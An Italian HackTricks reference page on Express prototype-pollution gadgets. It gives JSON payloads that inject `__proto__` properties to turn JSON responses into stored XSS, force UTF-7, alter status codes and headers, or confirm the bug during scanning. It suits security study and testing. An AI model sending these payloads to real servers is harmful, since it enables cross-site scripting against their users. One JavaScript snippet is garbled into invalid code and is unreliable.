Gadget di Inquinamento del Prototype di Express

Reading time: 4 minutes

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

Servire risposte XSS

Per ulteriori dettagli dai un'occhiata alla ricerca originale

Cambiare il tipo di contenuto JSON in HTML

In un'app Express che utilizza una risposta di tipo contenuto JSON e riflette un JSON:

javascript
app.use(bodyParser.json({ type: "application/json" }))
app.post("/", function (req, res) {
_.merge({}, req.body)
res.send(req.body)
})

In questi casi, XSS non è normalmente possibile con un tipo di contenuto JSON. Tuttavia, con la contaminazione del prototipo possiamo confondere Express per restituire una risposta HTML. Questa vulnerabilità si basa sull'applicazione che utilizza res.send(obj) e utilizza il body parser con il tipo di contenuto application/json.

json
{ "__proto__": { "_body": true, "body": "<script>evil()" } }

Inquinando le proprietà body e _body, è possibile far sì che Express serva il tipo di contenuto HTML e rifletta la proprietà _body, risultando in XSS memorizzato.

Render UTF7

È possibile far sì che express renderizzi contenuti UTF-7 con:

json
{ "__proto__": { "content-type": "application/json; charset=utf-7" } }

Tecniche di Scansione Sicura

Spazi JSON

Il seguente PP farà sì che gli attributi all'interno di un JSON abbiano uno spazio extra che non interromperà la funzionalità:

json
{ "__proto__": { "json spaces": " " } }

Quindi un JSON riflesso apparirà come:

json
{"foo":  "bar"} -- Note the extra space

Intestazioni Esposte

Il seguente gadget PP farà sì che il server restituisca l'intestazione HTTP: Access-Control-Expose_headers: foo

json
{ "__proto__": { "exposedHeaders": ["foo"] } }

Richiede che il modulo CORS sia installato

Metodo OPTIONS

Con il seguente payload, è possibile nascondere un metodo da una risposta OPTIONS:

javascript
// Original reponse: POST,GET,HEAD

// Payload:
{"__proto__":{"head":true}}

//New response: POST;GET

Stato

È possibile modificare il codice di stato restituito utilizzando il seguente payload PP:

json
{ "__proto__": { "status": 510 } }

Errore

Quando assegni a un prototipo con un primitivo come una stringa, produce un operazione no-op poiché il prototipo deve essere un oggetto. Se tenti di assegnare un oggetto prototipo a Object.prototype stesso, questo genererà un'eccezione. Possiamo utilizzare questi due comportamenti per verificare se la contaminazione del prototipo è avvenuta con successo:

javascript
;({}).__proto__.__proto__ = {}(
//throws type exception
{}
).__proto__.__proto__ = "x" //no-op does not throw exception

Valore Riflesso

Quando un'applicazione include un oggetto nella sua risposta, creare un attributo con un nome insolito insieme a __proto__ può essere rivelatore. In particolare, se solo l'attributo insolito viene restituito nella risposta, questo potrebbe indicare la vulnerabilità dell'applicazione:

json
{ "unusualName": "value", "__proto__": "test" }

Inoltre, in scenari in cui viene utilizzata una libreria come Lodash, impostare una proprietà sia tramite inquinamento del prototipo (PP) che direttamente all'interno dell'oggetto offre un altro approccio diagnostico. Se tale proprietà è omessa dalla risposta, suggerisce che Lodash sta verificando l'esistenza della proprietà nell'oggetto target prima di unire:

javascript
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash

Varie

Consenti Punti

C'è un'opzione in Express che ti consente di creare oggetti dai parametri della stringa di query.
Potresti sicuramente usarla in una catena di bug per sfruttare una vulnerabilità di inquinamento del prototipo.

json
{ "__proto__": { "allowDots": true } }

?foo.bar=baz crea un oggetto in Node.

Riferimenti

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks